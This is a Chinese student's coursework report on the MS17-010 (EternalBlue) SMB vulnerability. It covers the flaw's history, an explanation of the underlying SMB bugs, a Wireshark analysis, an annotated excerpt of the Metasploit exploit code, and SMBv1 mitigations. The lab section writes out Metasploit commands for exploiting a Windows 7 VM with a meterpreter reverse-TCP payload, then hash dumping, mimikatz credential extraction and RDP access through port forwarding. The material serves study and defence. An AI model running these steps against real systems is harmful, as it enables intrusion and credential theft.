MS17-010 漏洞研究——免考课题 20155104 赵文昊

免考实验与研究——MS17-010漏洞研究

研究内容

·MS17-010漏洞的来源

·MS17-010漏洞的攻击实例

·MS17-010漏洞原理分析

·MS17-010代码分析

写在前面:这次对一个漏洞的深入学习对我自己来说是一种愉快的体验,这里面涉及到的知识能大幅度提高对课堂知识的理解程度,一种漏洞中实际上包含有老师上课讲到的好多节的知识,绝对是一种难得的体会渗透测试设计的精妙之处的好机会,我认为在今后的选题中可以有更多人选择尝试去理解一个漏洞的渗透过程,这将是大学期间的宝贵财富,在这中间尝试对自我能力的突破是一种发自内心的享受,知难而上才会有收获。

详细内容

1.MS17-010 Enternal Blue (永恒之蓝) 漏洞的来源

有关漏洞的官方信息请查阅微软官网漏洞库网站,获取有关该漏洞的详细信息以及权威咨询。

在2016 年 8 月有一个 “Shadow Brokers” 的黑客组织号称入侵了方程式组织窃取了大量机密文件,并将部分文件公开到了互联网上,方程式(Equation Group)据称是 NSA(美国国家安全局)下属的黑客组织,有着极高的技术手段。这部分被公开的文件包括不少隐蔽的地下的黑客工具。另外 “Shadow Brokers” 还保留了部分文件,打算以公开拍卖的形式出售给出价最高的竞价者,“Shadow Brokers” 预期的价格是 100 万比特币(价值接近5亿美元)。而“Shadow Brokers” 的工具一直没卖出去。

2017年5月12日起,全球范围内爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,这是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。五个小时内,包括英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件,对重要数据造成严重损失。

被袭击的设备被锁定,并索要300美元比特币赎金。要求尽快支付勒索赎金,否则将删除文件,甚至提出半年后如果还没支付的穷人可以参加免费解锁的活动。原来以为这只是个小范围的恶作剧式的勒索软件,没想到该勒索软件大面积爆发,许多高校学生中招,愈演愈烈。恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

本次黑客使用的是Petya勒索病毒的变种Petwarp,攻击时仍然使用了永恒之蓝勒索漏洞,并会获取系统用户名与密码进行内网传播。

本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术,使得病毒可以在短时间内呈爆发态势。同时,该病毒与普通勒索病毒不同,其不会对电脑中的每个文件都进行加密,而是通过加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。

乌克兰、俄罗斯、西班牙、法国、英国等多国均遭遇到袭击,包括政府、银行、电力系统、通讯系统、能源企业、机场等重要基础设施都被波及,律师事务所DLA Piper的多个美国办事处也受到影响。中国亦有跨境企业的欧洲分部中招。

2.MS17-010 漏洞的 Linux-Kali 虚拟机攻击实例

本次实验采用的设备如下:

攻击机:Linux-Kali x64 (IP:192.168.31.118)

靶机:Windows 7 x64 (IP:192.168.31.242)

备注:这里的靶机Windows 7系统推荐安装2015年及以前(事实上没有安装过MS17-010漏洞补丁的系统皆可)的64位系统,否则容易失败,两台设备(虚拟机)之间需要能够Ping通,这要求Windows 7系统关闭防火墙以检查网络环境。

首先打开Kali-terminal,在任何目录下输入msfconsole,等待metasploit模块启动。在启动界面中我们可以看到目前版本所具有的漏洞、攻击载荷、辅助模块等一系列已加载的模块数量,推荐版本越高越好。

接下来输入search命令查找我们想要使用的模块,就像这样:

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第1张图片

我们本次实例需要用到的渗透模块是永恒之蓝,应该很明显地能看出来我们要用的是哪个模块 ♪(^^∇^^*)

use exploit/windows/smb/ms17_010_eternalblue

以下两条指令可以很方便地帮我们查看该模块适用的攻击载荷、攻击目标和配置:

show payloads
show targets
show options

如果看上了哪个攻击载荷,就使用下面这个命令指定攻击载荷,这里我们使用windows/x64/meterpreter/reverse_tcp这个载荷,是使用meterpreter编写的TCP反弹连接木马,用于在渗透成功后向攻击机发起连接请求进一步控制靶机的模块。

set payload windows/x64/meterpreter/reverse_tcp

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第2张图片

看到所需配置的项目后,我们需要对其中的一些配额进行修改,RHOST表示靶机的IP地址,RPORT表示靶机进攻的端口(这里就用445默认端口,别的端口没有对应的SMB服务,不会成功渗透的),LHOST表示反弹连接的IP地址,LPORT表示反弹连接的端口,这里设置成自己的IP地址即可,端口尽量选用还没有被占用的端口。

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第3张图片

敲入exploit就可以开始渗透啦!

如果显示结果是这个样子表示渗透成功,现在可以输入一些Windows CMD指令看看效果,可以证明,我们渗透的正是靶机,IP地址甚至系统信息都可以获取到Linux主机上。

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第4张图片

!!!接下来我们玩一点骚操作!!!

接下来,我们获取目标机hash值

执行hashdump

hashdump

mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。

执行

load mimikatz

即可加载该工具,其命令与mimikatz一样

运行命令msv,导出hash

msv

然后执行kerberos即可获得目标机账号密码

kerberos

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第5张图片

获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?

我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接

运行命令

portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 172.16.12.2

此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上

本地端口号可设置为其他未监听的端口

如此,我们只要执行

rdesktop  127.0.0.1 -u ZhaoWenhao  -p 20155104

即可登陆远程目标机器

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第6张图片

有关此部分的任何不明白的地方可以自行查看i春秋网课,链接 i春秋 。

3.MS17-010 漏洞的原理分析

事实上,MS17-010(永恒之蓝)应用的不仅仅是一个漏洞,而是包含Windows SMB 远程代码执行漏洞CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148在内的6个SMB漏洞的攻击,所以攻击显得十分繁琐。

简单地讲,分析MS17-010漏洞要从SMB的运行漏洞上面下手考虑,下面简单介绍一下有关SMB的运行机制。

(1)SMB Transaction 概述

SMB协议是一个通过网络在共享文件、打印设备、命名管道、邮槽之间操作数据的协议。利用该协议,客户端就可以去访问服务器上的共享文件和目录(增删改查)、打印队列和进程间通信服务等,还可以实现客户端和服务器之间的远程过程子协议的认证传输。

SMB命令的传输分为三个部分:

格式 长度
SMB_header 定长32字节
SMB_Parameters 任意长
SMB_Data 任意长

目前SMB协议共包含75种命令,不同命令通过SMB_Header中1字节大小的Command字段来区别定义。其中SMB Transaction子协议包括以下6种命令

SMB_COM_TRANSACTION//用于邮箱、命名管道进行通信
SMB_COM_TRANSACTION_SECONDARY
SMB_COM_TRANSACTION2//用于打开或创建一个共享文件或文件夹,设置它们的扩展属性
SMB_COM_TRANSACTION2_SECONDARY
SMB_COM_NT_TRANSACT//用于打开或创建一个文件或文件夹,并应用扩展属性EA或安全描述符SD
SMB_COM_NT_TRANSACT_SECONDARY
/*当一个需要发送的transaction消息的实际长度超过SMB_Parameters中MaxBufferSize字段能够定义的最大长度时,
客户端必须通过一个或多个SMB_COM_*TRANSACT*_SECONDARY命令来发送剩余的消息内容。
SMB_COM_*TRANSACT*_SECONDARY必须保证和SMB_COM_*TRANSACT*命令具有相同的TID、UID、PID和MID。*/

SMB_Header主要定义了各种SMB命令的命令码、TID、PID、UID、MID等字段:

SMB_Header
{
    UCHAR  Protocol[4];
    UCHAR  Command;  //命令码
    SMB_ERROR Status;
    UCHAR  Flags;
    USHORT Flags2;
    USHORT PIDHigh;
    UCHAR  SecurityFeatures[8];
    USHORT Reserved;
    USHORT TID;
    USHORT PIDLow;
    USHORT UID;
    USHORT MID;
}
//同一Transaction消息序列中的SMB数据包的TID、PID、UID、MID必须保持一致。

SMB_Parameters主要包含用于管理Transaction消息的一些标志和设置信息,为服务端处理提供必要的上下文环境。以SMB_COM_TRANSACTION命令为例,其SMB_Parameters格式如下:

SMB_Parameters
{
   UCHAR  WordCount;
   Words
   {
     USHORT TotalParameterCount;
     USHORT TotalDataCount;
     USHORT MaxParameterCount;
     USHORT MaxDataCount;
     UCHAR  MaxSetupCount;
     UCHAR  Reserved1;
     USHORT Flags;
     ULONG  Timeout;
     USHORT Reserved2;
     USHORT ParameterCount;
     USHORT ParameterOffset;
     USHORT DataCount;
     USHORT DataOffset;
     UCHAR  SetupCount;
     UCHAR  Reserved3;
     USHORT Setup[SetupCount];  //3种Transaction子命令的该字段略有不同
   }
}

SMB_Data主要包含了用于服务端操作的参数和数据:

SMB_Data
{
   USHORT ByteCount;
   Bytes
   {
     SMB_STRING Name;
     UCHAR      Pad1[];
     UCHAR      Trans_Parameters[ParameterCount];
     UCHAR      Pad2[];
     UCHAR      Trans_Data[DataCount];
   }
}

服务端会将从客户端接收的InSetup、InParameters和InData,同后续需要响应给客户端的OutSetup、OutParameters和OutData等内容存放在同一个缓冲区中,称之为Transaction data buffer。需要注意的是,这些数据之间不是单纯的前后顺序排列,很多都是重叠的。

服务器在解析命令后,会定义一个TRANSACTION结构体,用于存放data buffer缓冲区中的指针(Count、Total Count、Max Count、TID、PID、UID等配置信息)

(2)BUG1:Transaction InParameters和InData缓冲区未初始化

一般来讲吧。。。我们申请下一个内存区域后应该先给这块内存区域初始化,赋0就可以,但是Transaction data buffer并没有这么做。如果我们发送多个ParameterDisplacement和DataDisplacement偏移为0的transaction请求,由于ParameterCount和DataCount字段无论偏移是多少都会相应增加,这样就会使服务器将没有初始化的内存缓冲区的内容作为后续处理函数的输入内容!

正常的服务器,在输入数据时应该是先按照不可信数据进行处理的,未初始化的输入就没有什么用处。但是,还存在有一个将输入数据作为输出返回客户端的transaction命令,这样就有了泄露内存中未初始化数据的可能,这个命令就是NT_TRANSACT_RENAME。这个命令要求ParameterCount字段>=4且InParameter的前两个字节为FID字段,如果FID合法,就会原样返回OutParameters、ParameterCount、OutData、DataCount等内存数据,没有初始化过的数据就这样泄露掉了。(类似echo回显)

合法的FID很容易获取,只要我们打开一个共享就获得了一个合法的FID,实现上听起来很简单。但事实上这个只是一部分,比较没有什么太大用的BUG,但可以通过泄露的指针检测目标系统的处理器架构(x86 & x64)。这个泄露信息会非常多,本来是一个很好的事情,但长度实在是太长了(>=0x5000Bytes),筛选有用的信息需要费不少功夫。

(3)BUG2:TRANS_PEEK_NMPIPE子命令始终期望MaxParameterCount为16

TRANS_PEEK_NMPIPE命令在解析时,会将它会将命名管道数据trans_data存在OutParameters缓冲区中,OutParameters和OutData的内存位置是相邻的,正常情况下命名管道数据存储的内存位置就是OutData缓冲区的起始位置,也就是说OutData Pointer = OutParameters+16。

+------------------------------------------------------+
|  OutParameters  |            OutData                 |
+------------------------------------------------------+
+0               +16

如果MaxParameterCount字段等于16,那么OutData正好会指向正确的命名管道数据的内存位置。但如果故意设置MaxParameterCount的值大于16,OutData Pointer = OutParameters + MaxParameterCount,就有可能泄露未初始化的OutData缓冲区。

如果这个MaxParameterCount字段是经过设计的指向了一些关键数据区域,对应的信息就会如期输出至攻击者。

==网上很多扫描器利用这个bug来判断MS17-010是否被修补,具体原因详见补丁解释。==

(4)BUG3:允许Transaction响应数据长度大于申请的缓冲区长度

服务器中的SrvCompleteExecuteTransaction函数用于向客户端发送transaction响应,但响应时不检查ParameterCount/DataCount是否大于MaxParameterCount(参数范围)/MaxDataCount(数据范围)。因此SrvCompleteExecuteTransaction有可能将缓冲区外的内存数据返回给客户端,从而会导致信息泄露。

利用这个漏洞,配合BUG2(上一条)就可以使内存中的一些信息泄露给攻击者。攻击者可以构造一个满足BUG2的TRANS_PEEK_NMPIPE子命令,将MaxParameterCount设置为一个很大的数值,MaxDataCount只设置为1。如果transaction响应数据的长度(DataCount)大于MaxDataCount,SrvCompleteExecuteTransaction函数就会将OutData缓冲区及其之后的数据返回给客户端。

TRANSACTION 缓冲区头部
data_buffer 命令数据
InSetup InParameter InData... 指向接收各种变量的指针
OutParameter OutData ... 指向响应各种变量的指针
==Other Information== ==其他信息==

注意:该BUG在 Windows 8 之后的系统中修复了,所以 Windows 8 以后的MS17-010漏洞修复补丁与 Windows 7 以前的系统不一样,Windows 7 的补丁正是将 Windows 8 的代码填补了过来。【所以既然微软早就在 Windows 8 中修复了这个BUG,为什么不主动修复 Windows 7 以前的漏洞呢?】

(5)BUG4:未检查输入数据与缓冲区最大容量之间的大小关系

当发送SMB_COM_*_SECONDARY命令时,服务端通过检查displacement的值和trans_data的长度,以确保写入内存的数据不会超出申请的缓冲区大小。但期间并没有检查所有接收的ParameterCount/DataCount之和是否大于TotalParameterCount/TotalDataCount。

虽然服务器确保了单个数据没有超限,但是多个数据加起来就会超限了哟~假如攻击者发送了多个SMB请求,每条信息都是小于TotalDataCount的,每次接收,DataCount这个变量会累加,这个值不会与TotalDataCount进行对比进行缓冲区溢出检测,这样就导致了缓冲区溢出。

(6)BUG5:允许Transaction secondary请求在服务端开始处理transaction后才被接收和处理

缓冲溢出的问题目前已经解决了,那么溢出的字段只要不执行就很难产生恶劣后果,接下来解决的就是注入内容执行的问题。

如果transaction在一个SMB消息中就能完成传输,服务端并不会去设置AllDataReceived(一次会话的数据总量,只需传输一次的话听起来的确不需要设置这个数据总量,但这就是漏洞)。在服务端正在处理transaction或正在发送响应数据给客户端期间,可以通过发送一个transaction secondary请求来修改InParamter/InData缓冲区和ParameterCount/DataCount字段的内容。没有设置AllDataReceived的话,表示服务端还可以继续接收Transaction请求,并将参数和数据存入InParameters和InData缓冲区中,ParameterCount/DataCount字段依旧会相应增加。

这样,缓冲区后的数据就越来越长了,就有了注入大段代码的可能性了。

(7)BUG6:不对连续传输的数据包进行类型检查

一般来说,在传输内容时一个数据包不够会使用连续多个数据包,类型应该是首个数据包的延续,也就是说SMB_COM_TRANSACTION后必须跟着SMB_COM_TRANSACTION_SECONDARY,不然无法认为后面的数据包是跟着第一个数据包来的。

但SMB就没有这么做,所有人都可以通过发送任意类型的transaction secondary命令来完成transaction数据的传输,只需保证TID、UID、PID和MID匹配即可(通过这些信息去确认数据包的头部)。服务器仅根据最后一个secondary数据包判断transaction类型,通过最后这儿数据将任类型转变为其他类型。【没有Function字段的子命令无法转换(SMB_COM_NT_TRANS)】

综上,TRANS2_OPEN2命令可以传输大于0×10000字节的transaction数据。由于只有SMB_COM_NT_TRANS请求的TotalDataCount为4个字节,其它类型请求的TotalDataCount都为2个字节。因此漏洞利用需要先发送一个SMB_COM_NT_TRANS请求将TotalDataCount定义为大于0xFFFF字节,然后再发送SMB_COM_TRANSACTION2_SECONDARY请求,完成TRANS2_OPEN2命令中所有transaction数据的传输。

(8)BUG7:文件拓展属性EA类型分配有误

在发送文件请求和命令时,会传输文件信息的结构体变量,当文件数量很多时一个命令请求中会承载多个数据结构体变量,由一个列表表示出来。

SMB_FEA
{
  UCHAR      ExtendedAttributeFlag;
  UCHAR      AttributeNameLengthInBytes;
  USHORT     AttributeValueLengthInBytes;
  UCHAR      AttributeName[AttributeNameLengthInBytes + 1];
  UCHAR      AttributeValue[AttributeValueLengthInBytes];
}

SMB_FEA_LIST
{
  ULONG SizeOfListInBytes;
  UCHAR FEAList[];
}

//SMB_GEA和SMB_GEA_LIST同理也存在相似情况

服务器会将这些信息进行编码,申请新的缓冲区并将数据拷贝到新缓冲区中,这里面又有漏洞了。

要想成功实现利用,需要发送一个大于0×10000字节的transaction data,但FEA_LIST结构只在SMB_COM_TRANSACTION2命令中存在,TotalDataCount字段类型是USHORT(最大值为0xFFFF),因此我们需要利用Bug6(借助SMB_COM_NT_TRANS命令)来发送一个大于0×10000字节的FEA_LIST。

所需条件最少的漏洞利用途径是采用TRANS2_OPEN2子命令。处理该命令的SrvSmbOpen2函数,在权限检查之前会调用SrvOs2FeaListToNt函数转换FEA_LIST列表。因此,客户端只需访问服务端任意一个共享,然后发送符合上述要求的transaction命令即可。

(8)BUG9: SESSION_SETUP_AND_X请求格式混淆漏洞

这个漏洞是攻击者用来申请非分页内存池的,只能用来欺骗服务器,补丁是没有修复这个漏洞的,所以这个说的粗一点,展开来这个会很多,推荐跳过代码段以保证最佳观看体验。

//用于LM和NTLM的身份认证
SMB_Parameters
{
   UCHAR  WordCount;  //13
   Words
   {
     UCHAR  AndXCommand;
     UCHAR  AndXReserved;
     USHORT AndXOffset;
     USHORT MaxBufferSize;
     USHORT MaxMpxCount;
     USHORT VcNumber;
     ULONG  SessionKey;
     USHORT OEMPasswordLen;//This is the difference 
     USHORT UnicodePasswordLen;
     ULONG  Reserved;
     ULONG  Capabilities;
   }
}
SMB_Data   
{
   USHORT ByteCount;
   Bytes
   {
     UCHAR      OEMPassword[];
     UCHAR      UnicodePassword[];
     UCHAR      Pad[];
     SMB_STRING AccountName[];
     SMB_STRING PrimaryDomain[];
     SMB_STRING NativeOS[];
     SMB_STRING NativeLanMan[];
   }
}
//用于NTLMv2(NTLM SSP)的身份认证
SMB_Parameters
{
   UCHAR  WordCount; 
   Words
   {
     UCHAR  AndXCommand;
     UCHAR  AndXReserved;
     USHORT AndXOffset;
     USHORT MaxBufferSize;
     USHORT MaxMpxCount;
     USHORT VcNumber;
     ULONG  SessionKey;
     USHORT SecurityBlobLength;
     ULONG  Reserved;
     ULONG  Capabilities;
   }
}
SMB_Data
{
   USHORT ByteCount;
   Bytes
   {
     UCHAR      SecurityBlob[SecurityBlobLength];
     SMB_STRING NativeOS[];
     SMB_STRING NativeLanMan[];
   }
}

可以看出这两个身份认证方式中的结构体有细微差别,可以利用这个区别伪造数据包以迷惑服务器,使Extended Security的SMB_COM_SESSION_SETUP_ANDX请求被误认为NT Security请求来处理。当服务端从数据包中提取parameters和data时,可以实现从错误的位置读取ByteCount的数值。

这个数值是用来计算缓冲区大小的,这个值被设计好的话,就会在分页内存池中申请一部分空间,作为攻击者的可控内存区。shellcode就可以放置在这个内存区间中,在Windows 8以前的系统中,这个内存区就有了执行功能,后续只要调用这个缓冲区,shellcode就可以执行了!到了这里我们的载荷就可以运行起来了,我们注入的反弹连接式木马就可以启动起来了。

4.MS17-010 漏洞实现方式

先申请多个Srvnet缓冲区,在特定内存位置(x64系统中为0xffffffffffd00010)存放一个假的结构体和Shellcode载荷。

利用BUG9,申请一个非分页内存池,存放转换FEA_LIST所需新缓冲区。

利用Secondary请求,再向服务端发送一个长度较大、且包含特定FEA_LIST的TRANS2_OPEN2命令(Bug6)。服务端在转换FEA_LIST时就会导致缓冲区溢出(Bug7),将后续Srvnet缓冲区覆盖掉,修改其中的结构体指针,使其指向已经构造好的假结构体,假结构体中的SMB命令处理函数指针指向了Shellcode载荷。当SMB命令处理函数指针时,实际上就执行了Shellcode。

5.MS17-010 漏洞攻击行为监测

这里使用的是一种很初步的网络嗅探工具Wireshark,由于汕渗透测试对于网络功能没有破坏,这个功能会正常地监视有关靶机的所有数据包,数据包在攻击者和靶机之间的所有来往都会被记录下来,下面我们分析一下

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第7张图片

可以看出,我们的攻击方端口(45457)首先向靶机的445端口发送了SYN请求,经过握手后建立了TCP连接,后面是渗透的试探过程。这一过程用到了BUG1-BUG2进行信息收集。

利用BUG9,发送NT数据包的身份认证,创建一个可由攻击者自由掌控的内存区域。

下面通过多个SMB数据包发送的请求和回复,经过攻击者分析后确认目标符合这个渗透代码的需求,再开始真正展开渗透。我筛选出了所有的SMB数据包,更有利于我们对漏洞行为的分析。

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第8张图片

可以看到连续多个Trans2 Secondary Request,这利用了BUG6,由于靶机没有对连续传送大量数据的多个数据包的类型进行检测,只检测了UID和TID等内容信息来定位对应的数据位置,所以中间部分的数据包类型不同,且BUG5中提到Transaction Secondary数据包允许Transaction数据包开始执行后再接收,这样数据就畅通无阻地进入了靶机的内存区域。

数据在写入这个可执行内存区后,代码中数据包设计好的数据就可以开始发挥作用了,这里面我不知道有什么能帮助我们监测到内存区域变化的工具,所以这块暂时还看不了。数据包中已经设计好的结构体指针正好指向进一步的渗透代码,等到靶机读取该结构体,错误的结构体指针会读取我们希望的数据,这其中的数据会执行起来,带着攻击载荷一起完成渗透。渗透代码一旦开始执行,渗透就已经成功了

由于代码是在Windows主进程下运行的,所以任务管理器不能看到这里面多出了一个进程,不要奇怪为什么检查不到进程,这不一定就是失败了。

MS17-010 漏洞研究——免考课题 20155104 赵文昊_第9张图片

抓包抓到这里,渗透过程就结束了,可以明显看到反弹连接木马已经启动,使用TCP回连攻击者。

6.MS17-010 漏洞代码简析

这里我们把Kali中Metasploit的Ruby代码拿出来看一下,虽然没有系统学习过,但是只要有点编程基础,然后使劲啃啃,还是能够看懂一些的,下面我们看一下这个代码的结构:

打开代码文件就会看到def initialize(info = {}),不用说都知道是初始化的意思,这里会开始对攻击参数的配置,当Metasploit选中该攻击方式时,也会从这里读取有关这个代码的数据,由于Metasploit的代码经过修改,针对自己独特的使用方式增加了一些冗余代码, 把真正用来攻击的有效代码包含了进去,所以我们需要拨开一些没有学习意义的代码,找到最核心的部分。

==(用汉字注释的地方是我自己加上去的,只要删掉就可以恢复代码本身的模样,由于代码具有攻击性,只展示一部分内容,仅供学习参考,请见谅)==

接下来我们找到了这样一个定义,很显而易见的渗透主程序,大概看一下操作步骤:

class EternalBlueError < StandardError
    end

    def check
    # todo : create MS17 - 010 mixin, and hook up auxiliary / scanner / smb / smb_ms17_010
    end

    def exploit
    begin
    for i in 1..datastore['MaxExploitAttempts']

        grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
        /*这里面用到的数据是我们在定义渗透设置的时候设置的
        ProcessName:Process to inject payload into
        MaxExploitAttempts:The number of times to retry the exploit
        GroomAllocations:Initial number of times to groom the kernel pool
        GroomDelta:The amount to increase the groom count by per try*/

        smb_eternalblue(datastore['ProcessName'], grooms)//将上一条语句处理好的数据传给该函数,看来这里就是关键了!

        # we don't need this sleep, and need to find a way to remove it
        # problem is session_count won't increment until stage is complete :\
        secs = 0
        while !session_created ? and secs < 30   //等待30秒,如果没有回话成功创建,则认为渗透失败,实际使用根本不会等啦~
            secs += 1
            sleep 1
            end

            if session_created ?
                print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                break
            else
                print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
                end
                end
                
                //到了这里就是汇报错误内容了
                rescue EternalBlueError = > e
                print_error("#{e.message}")
                return false
                rescue::RubySMB::Error::NegotiationFailure
                print_error("SMB Negotiation Failure -- this often occurs when lsass crashes.  The target may reboot in 60 seconds.") 
                //由于MS17-010漏洞攻击时可能引起被渗透电脑的重启,这里也是可以检测出来的
                return false
                rescue::RubySMB::Error::UnexpectedStatusCode,
                ::Errno::ECONNRESET,
                ::Rex::HostUnreachable,
                ::Rex::ConnectionTimeout,
                ::Rex::ConnectionRefused,
                ::RubySMB::Error::CommunicationError = > e
                print_error("#{e.class}: #{e.message}")
                report_failure
                return false
                rescue = > error
                print_error(error.class.to_s)
                print_error(error.message)
                print_error(error.backtrace.join("\n"))
                return false
                ensure
                # pass
                end
                end

接下来我们去看一下smb_eternalblue(process_name, grooms)这个函数的内容:

def smb_eternalblue(process_name, grooms)//两个参数分别为用户定义的进程和其它配置数据
    begin
    # Step 0: pre - calculate what we can
    shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)//这里引用了一个载荷
    payload_hdr_pkt = make_smb2_payload_headers_packet
    payload_body_pkt = make_smb2_payload_body_packet(shellcode)//引用一个SMB数据包,将我们的探测载荷注入到数据包中

    # Step 1: Connect to IPC$ share
    print_status("Connecting to target for exploitation.")
    client, tree, sock, os = smb1_anonymous_connect_ipc()//尝试使用网络连接靶机,网络没有问题再进行接下来的操作
    rescue RubySMB::Error::CommunicationError
    # Error handler in case SMBv1 disabled on target
    raise EternalBlueError, 'Could not make SMBv1 connection'
else
    print_good("Connection established for exploitation.")

    if verify_target(os)//探测到的系统如果符合渗透要求则继续进行,否则汇报错误
        print_good('Target OS selected valid for OS indicated by SMB reply')
    else
        print_warning('Target OS selected not valid for OS indicated by SMB reply')
        print_warning('Disable VerifyTarget option to proceed manually...')
        raise EternalBlueError, 'Unable to continue with improper OS Target.'
        end

        # cool buffer print no matter what, will be helpful when people post debug issues
        print_core_buffer(os)//显示一些有助于我们调试的信息

        if verify_arch//检查靶机SMB服务是不是符合要求的,也就是说是不是能按照预想进行回复,
            print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
        else
            print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
            print_warning('Disable VerifyArch option to proceed manually...')
            raise EternalBlueError, 'Unable to continue with improper OS Arch.'
            end

            print_status("Trying exploit with #{grooms} Groom Allocations.")

            # Step 2: Create a large SMB1 buffer
            print_status("Sending all but last fragment of exploit packet")
            smb1_large_buffer(client, tree, sock)//发送exploit除最后一个片段以外所有数据包

            # Step 3: Groom the pool with payload packets, and open / close SMB1 packets
            print_status("Starting non-paged pool grooming")

            # initialize_groom_threads(ip, port, payload, grooms)
            fhs_sock = smb1_free_hole(true)

            @groom_socks = []

            print_good("Sending SMBv2 buffers")
            smb2_grooms(grooms, payload_hdr_pkt)//建立一个SMBv2连接

            fhf_sock = smb1_free_hole(false)

            print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
            fhs_sock.shutdown()//关闭SMBv1连接,在SMBv2缓冲区附近创建新的内存区域

            print_status("Sending final SMBv2 buffers.") # 6x
            smb2_grooms(6, payload_hdr_pkt) # todo: magic #

            fhf_sock.shutdown()

            print_status("Sending last fragment of exploit packet!")
            final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
            //发送漏洞数据包的最后一个片段,这里的数据包类型与前面所发的数据包类型有区别,会导致靶机的识别出现混乱,利用BUG进行内存缓冲区控制
            sock.put(final_exploit_pkt)

            print_status("Receiving response from exploit packet")
            code, raw = smb1_get_response(sock)//简单的监听功能,看看靶机会回复一些什么内容

            code_str = "0x" + code.to_i.to_s(16).upcase
            if code.nil ?  //这里借助code.nil这个变量进行错误判断,报告错误
                print_error("Did not receive a response from exploit packet")
                elsif code == 0xc000000d # STATUS_INVALID_PARAMETER(0xC000000D)
                print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
            else
                print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
                end

                # Step 4: Send the payload
                print_status("Sending egg to corrupted connection.")
                //将我们设定的攻击载荷注入到供我们控制的缓冲区内,如果我们没有设定攻击载荷,这一步将不会执行,端口会关闭
                @groom_socks.each{ | gsock | gsock.put(payload_body_pkt.first(2920)) }
                @groom_socks.each{ | gsock | gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }

                print_status("Triggering free of corrupted buffer.")
                # tree disconnect
                # logoff and x
                # note: these aren't necessary, just close the sockets
                return true
                ensure
                abort_sockets
                end
                end

这其中可以看到该漏洞的具体行为,我们不把具体的数据包如何构造写在这篇文章中,这将不能保证这篇文章不被非法利用。

在smb_eternalblue(process_name, grooms)函数中调用了很多子函数如smb1_large_buffer(client, tree, sock)等,想学习的同学可以往下查找该函数的定义,其中会有数据包的完整构造过程,供大家学习。

另外构建自定义数据包发送对于本科生来讲很有难度,还需要开启最高的root权限,本人能力还是不足所以不能自主编程还望谅解。

使用到的攻击载荷

加密勒索+蠕虫病毒

这里说的就是2017年大规模爆发的onion这些病毒的常用手段,加入蠕虫病毒以破坏感染主机网络上的其它网络设备,在受感染的主机上对磁盘进行加密,受害者需要支付一定价值的比特币或其它类型货币才提供解密服务。由于onion病毒违背了“不针对攻击在校学生”等条例,甚至连黑客界都在进行批判,作为随时可能成为受害者的我们,更要多加预防。

木马后门

初学者常用反弹连接木马来检测渗透攻击是否成功,通过远端的CMD窗口进一步获取靶机的更高用户权限,事实上也是所有黑客都喜欢使用的攻击载荷。

防范措施

关闭端口和系统进程

禁用 SMBv1

对于运行 Windows Vista 及更高版本的客户

请参阅Microsoft 知识库文章 2696547

适用于运行 Windows 8.1 或 Windows Server 2012 R2 及更高版本的客户的替代方法

目标系统上将禁用 SMBv1 协议。

如何撤消变通办法。回溯变通办法步骤,而不是将“SMB 1.0/CIFS文件共享支持”功能还原为活动状态。
打开“服务器管理器”,单击“管理”菜单,然后选择“删除角色和功能”。

在“功能”窗口中,清除“SMB 1.0/CIFS 文件共享支持”复选框,然后单击“确定”以关闭此窗口。

重启系统。

打开“控制面板”,单击“程序”,然后单击“打开或关闭 Windows 功能”。

在“Windows 功能”窗口中,清除“SMB 1.0/CIFS 文件共享支持”复选框,然后单击“确定”以关闭此窗口。

重启系统。

个人系统保护的一点建议

